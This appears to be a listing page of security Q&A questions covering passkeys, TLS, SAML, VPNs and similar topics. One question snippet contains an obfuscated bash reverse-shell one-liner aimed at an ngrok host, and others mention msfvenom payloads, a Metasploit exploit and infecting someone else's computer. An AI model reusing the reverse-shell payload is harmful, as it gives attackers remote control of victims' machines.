All Questions

Filter by
Sorted by
Tagged with
0 votes
0 answers
8 views

What are the security pros and cons of setting up passkeys for Gmail logins?

Today while signing on to Gmail with my iPad, I was prompted: With passkeys you can now use your fingerprint, face, or screen lock to verify it’s really you. I was wondering what the security pros ...
Will Octagon Gibson's user avatar
0 votes
1 answer
25 views

Reverse Shell payload does not work

$(/bin/prin[t]f 'ba\x73h -c \x27ba\x73h -i \x3e\x26 /d\x65v/t\x63p/2.t\x63p.eu.ngrok.io/xxxxx 0\x3e\x261\x27') -i: -c: line 1: unexpected EOF while looking for matching `'' I was trying to get a ...
Ankeet Saha's user avatar
0 votes
0 answers
19 views

Metasploit - No conection between victim and attacker [closed]

I'm using a kali linux VM to try and obtain remote code execution on my personal computer via metasploit. I've created the payload using msfvenom -a x86 --platform windows -p windows/shell/...
alexporritt's user avatar
-1 votes
0 answers
19 views

Cannot solve Vigenerè encryption [closed]

What's wrong with my encrypition of Vigenerè.
Diego Alves's user avatar
0 votes
1 answer
28 views

How many ephemeral session keys made when loading web page

I'm trying to understand the concept of ephemeral session keys as it pertains to perfect forward secrecy. There's an example I wasn't sure if. Let's say I have a webpage served over TLS at the url ...
learningtech's user avatar
0 votes
0 answers
35 views

What are secure ops automation best practices?

At my organization we have a lot of servers. We have many common manual maintenance tasks that we'd like to automate. There's currently three approaches we're fighting over internally: Ops engineers ...
Noodle's user avatar
  • 1
0 votes
1 answer
27 views

Whitelist at network level, application level, or both?

I have a public-facing SFTP instance. When applying the whitelist/allow-list of IP addresses that are allowed to connect to this instance, should I enforce the list on the network/firewall level, the ...
PorLosTacos's user avatar
-1 votes
0 answers
37 views

Protect out SES SMTP details [closed]

We are using SES SMTP with cPanel webmail (Exim) and PHP to send emails. This issue happened today and last week. Currently, We have the credentials in 2 places: 1- Exim configuration. 2- PHP files. ...
Dev's user avatar
  • 1
0 votes
0 answers
5 views

Screen Recording permission in Android 9.0 goes away when force stopping app [migrated]

When I use third party app for screen recording 1st time I have to give screen recording permission. Then I don't have to give that permission. 2nd 3rd times .... It can record. I don't find any ...
Zk Sumon's user avatar
0 votes
0 answers
9 views

Difference between "picture in picture" and "draw over other apps" in android. And their security vulnerability [migrated]

What are the security vulnerability of these two permissions? Is it possible that I'm typing something in chat heads of a fb messenger and other third app with "display over other app" ...
Zk Sumon's user avatar
14 votes
3 answers
3k views

Is there a problem with having a combined login/register screen?

I am designing a new login/register process for a system and want to combine the 2 initial pages for register and login. This would be one page where the user would enter their email and press '...
Ollie's user avatar
  • 141
0 votes
1 answer
65 views

How to resolve server-side request forgery (SSRF) warning for a HTTP request that takes Python package names as input?

I'm working on a function that returns a HTTP response from https://pypi.org/simple/ when Python's pip installer requests it for a package. When pushing my code onto GitHub, the CodeQL checks warn of ...
TheEponymousProgrammer's user avatar
0 votes
2 answers
40 views

Infer information of private key from public key / CSR

is it possible to infer information like: algorithm, key length, mode etc. of the private key from the public key or CSR?
Hans's user avatar
  • 1
0 votes
0 answers
9 views

Nmap scan from multiple interfaces and multiple IPs [migrated]

I have a linux machine with multiple network interfaces (and sub interfaces) with different IP address for each one. Is it possible to have a single Nmap scan of a single target that will outbound ...
Mary Bonilla's user avatar
0 votes
0 answers
38 views

Can Schools Access Permantly Deleted Files on the Chromebooks? [closed]

I've been wondering if they can see deleted files after you've permanently deleted them. I cleared out all of my files and I'm still a bit concerned if they can see the deleted files. And if they can, ...
CyberGutzz's user avatar
0 votes
1 answer
52 views

What can ISP see when John vpn into Tom home where John can Tom use the same ISP?

Here's the flow: (John home ISP, nanmely A) → VPN → (Tom home ISP, nanmely A) What can John and Tom do if John and Tom would like to let ISP see less information as possbile?
Maxfield's user avatar
  • 156
3 votes
2 answers
72 views

Is there a problem allowing two accounts to have the same recovery email?

It is a security problem to allow that two different user accounts have the same email address? If the answer is “no problem”, when the user goes to “forgot username” service, should I send an email ...
Pilar's user avatar
  • 31
-2 votes
0 answers
24 views

How consistent are CVSSv4 scores? [closed]

The University of Erlangen-Nuremberg (Germany) is conducting a research study to investigate the consistency of CVSSv4 (Common Vulnerability Scoring System). If you are currently assessing ...
fau-cs1-study's user avatar
0 votes
0 answers
59 views

What can I do to make it as hard/expensive as possible for a hacker if I've detected a malicious DDOS request? [migrated]

I want to implement some sort of an Under Attack Mode for our application. Of course I could use CloudFlare or any other solutions, but let's say for the sake of a programming exercise I detect a ...
Dirk Boer's user avatar
  • 117
0 votes
1 answer
70 views

What is the difference between SFTP and FTPS? [duplicate]

I need a good explanation- and I don’t think this site has one. As for my Web app, users (and I) will need to upload and transfer data- and I know the basic uses of SFTP and FTPS but I need a good ...
security_paranoid's user avatar
0 votes
0 answers
15 views

Log core: Interactive#tunnel_local error - IOError closed stream [closed]

This error appears when trying to run the exploit linux/http/php_imap_open_rce payload: cmd/unix/pingback_bind creates the session, but it dates and this error appears
Jonas's user avatar
  • 1
3 votes
0 answers
70 views

Is it possible to know when my TPM was last used to decrypt my disk?

I use Linux on my laptop and I do Full Disk Encryption with the LUKS keys enrolled into TPM2 against proper PCRs to make sure firmware, UEFI and Secure Boot setup are in a known-good state. ...
deniable_encryption's user avatar
0 votes
0 answers
44 views

Tabnabbing, adblocking and web browser security

My question regards tabnabbing and how to block it. I will first describe my understanding of the subject, but I'm no expert, so this introduction is meant for you to correct me if applicable. Here is ...
greg27's user avatar
  • 19
1 vote
0 answers
86 views

What was the recent non-Google data breach (April 2024)?

I recently suffered an unprecedented number of hacking attacks. The following accounts of mine were accessed: Patreon Amazon (both accounts) Paypal (3 unauthorized purchases, 2 recovered, one denied) ...
user1721135's user avatar
-1 votes
0 answers
26 views

How to achieve multi-tenant Authentication in my SaaS application? [closed]

I'm currently running a single-instance SaaS application backend where multiple tenants' data is stored in the same database, separated by tenant IDs. I'm looking to implement authentication that ...
Maverick's user avatar
0 votes
0 answers
53 views

What is the easiest way to get a virus? [closed]

Let’s say I had access to someone’s computer, and it is connected to the internet- but I don’t have permissions to delete registry or system files, and I don’t care about control. I just want to ...
security_paranoid's user avatar
1 vote
0 answers
28 views

Unable to capture authentication frames in monitor mode in linux

Unable to capture authentication frames in monitor mode in linux using Wireshark. I am able to see probe request & response, Acknowledgement, Beacon, cts, rts frames. Followed below steps and also ...
Priyanka Rayapudi's user avatar
0 votes
2 answers
136 views

Why do OTP services always say "Never share this password"?

Whenever I receive an OTP, the service always says "Never share this password." Why do they include this message? Is it generic security advice to prevent people from being tricked into ...
user1605665's user avatar
0 votes
1 answer
53 views

How to handle trojan executed on my laptop? [duplicate]

Unfortunately, I have executed an .exe file on my PC. After scanning the file I understood that it is a trojan and after checking its behaviour using VirusTotal I understood that it left many files on ...
VSB's user avatar
  • 185
1 vote
0 answers
18 views

Key Usage and Extended Key Usage for X.509 Certificares on Yubikey

I want to deploy X.509 certificates onto a Yubikey into the certificate slots 9a: PIV Authentication 9c: Digital Signature 9d: Key Management 9e: Card Authentication (see Yubico: PIV Introduction - ...
user2690527's user avatar
0 votes
1 answer
63 views

Execution profile for web server

I would like to know if there is a way to run an app to exhaustion in terms of all possible outcomes that it can provide. What do I mean by that: Let's assume that someone has an (Apache) HTTP Server. ...
und3rd06012's user avatar
0 votes
0 answers
7 views

How to access iframe.contentWindow.document of a nested iframe inside an iframe? [migrated]

I've been trying all day to nest created iframes and access their contents, but security restrictions dont let me. Is there a way? I shared my code and everything i tried so far in a codepen. https://...
serapath's user avatar
0 votes
0 answers
40 views

At what point does data wipe after incorrect password attempts become reasonable? [closed]

So a while ago I was talking to a guy who was a high-up security officer for a big bank, and he told me something interesting. He told me (and this isn’t private information or anything,) that after ...
security_paranoid's user avatar
0 votes
1 answer
36 views

How to verify the salt in the SCRAM protocol?

I've recently read about the SCRAM authentication protocol. One of the stated design motivations is to support mutual authentication, but how does the client verify that the salt and cost parameters ...
n-l-i's user avatar
  • 326
24 votes
4 answers
6k views

How long does malware last "in the wild"?

I watched this YouTube video where the uploader connected a Windows 2000 virtual machine directly to the internet, no NAT or firewall. Within minutes, his VM is infected with malware, the overwhelming ...
ElectricHellKnight's user avatar
0 votes
3 answers
92 views

Goal of CA is to allow clients ability to determine if TLS was tampered with while "in-transit"?

I believe my question will be a continuation of questions such as: What's the point of the CA? How does a digital certificate prove authenticity? In short, I still don't have a firm grasp on why a ...
learningtech's user avatar
2 votes
1 answer
715 views

How to store private keys on flashdrive

I'm trying to create a secure and private way to access my personal PC from most desktop PCs. The method I've devised so far is: Create an SSH tunnel to my PC The connection is encrypted The ...
TwiddleMouse's user avatar
-1 votes
0 answers
32 views

Is it possible that a fake UPI ID can be generated? [closed]

Today my parents got a call from police office that my brother is in a serious problem . they threaten then a lot . At same time my brother number was switched off . For this all my parents sent them ...
jagjeet kumar's user avatar
0 votes
0 answers
22 views

TLS-1.3 gnutls_aead_cipher_init from SSLKEYLOGFILE secret

I have a PCAPng file with it's corresponding SSLKEYLOGFILE. This file contains valid (random/secret) couples. I'm using libpcap to parse the file and glutls as cripto API. from client-hello I ...
Fulup Ar Foll's user avatar
-1 votes
0 answers
64 views

Is it possible that Anti-Cybercrime Police catch and track DDOS black service buyer? [closed]

Is it possible that Anti-Cybercrime Police catch and track DDOS black service buyer? My IP is being attacked for years (DDOS) from IPs and IP ranges from hundreds of different IPs. The story is: I ...
Frost's user avatar
  • 1
4 votes
1 answer
146 views

How can I safely buy a USB memory stick?

I need to buy a USB memory stick to create a Windows recovery drive. As we all know, USB drives have serious security issues, and the (slightly) paranoid part of me wonders about the safety of buying ...
Brian Rak's user avatar
  • 141
-1 votes
0 answers
69 views

Can world coin be hacked? [closed]

There's a new startup by Sam Almatan, they give away cryptocurrency, through their app, for iris scan. If it's a real cryptocurrency, where do they get enough to give it away every month? As I know ...
Den4ik's user avatar
  • 19
0 votes
0 answers
35 views

WinRAR password help me [closed]

12 years ago, I created a WinRar archive with a complex password (about 13-15 characters with lower case and special symbols). I had the password written in a book but I can't find it. Is there a way ...
blink's user avatar
  • 1
1 vote
0 answers
59 views

How to generate high entropy from physical sources?

What could be the main sources for strong noise generation for an AVR128DA64, so that the obtained entropy approaches or even equals 128 bits? I'm interested in good sources of physical entropy.
Hanna's user avatar
  • 11
3 votes
1 answer
371 views

Multiple certificate chains on a single server for TLS

Is it possible for a single server to use two different certificate chains for TLS? For instance, rootCA1, intermediateCert1, serverCert1, rootCA2, intermediateCert2, serverCert2. If this is possible, ...
Devz's user avatar
  • 33
0 votes
0 answers
11 views

Most Effective Methods to Master Reverse Engineering [migrated]

I am excited to begin learning assembly. I intend to learn it to guarantee security assurances when writing code for cryptography. One of the skills I wish to gain are reverse engineering. This is a ...
T. Salim's user avatar
  • 101
1 vote
1 answer
34 views

Terminology clarification on IdP-initiated, SP-initiated SAML flow

Background In SAML, there is IdP-initiated and SP-initiated login. IdP-initiated login ends up posting an unsolicited SAMLResponse to the SP, which has known security disadvantages. However, what if ...
mxxk's user avatar
  • 111
0 votes
1 answer
56 views

Breaking the Key Management Cycle

I'm working on securing encryption keys in a software application. The common practice of storing encrypted keys in configuration files leads to the challenge of securely storing and accessing the ...
Quan Nguyen's user avatar
-1 votes
0 answers
35 views

Bell-Lapadula model "Execute" permission

In all BLP model descriptions I've seen, the permissions set is defined to be {Read, Write, Append, Execute}. None of the three BLP security properties The Simple Security Property states that a ...
hegash's user avatar
  • 99
0 votes
0 answers
25 views

Is there a way to check when an SD card was last formatted [migrated]

My car was recently in the garage for its service and it has come out with damage (scrapes) to the bodywork both front driver side and rear passenger side. This particular garage has form and I have ...
LJS's user avatar
  • 1

15 30 50 per page
1
2 3 4 5
1379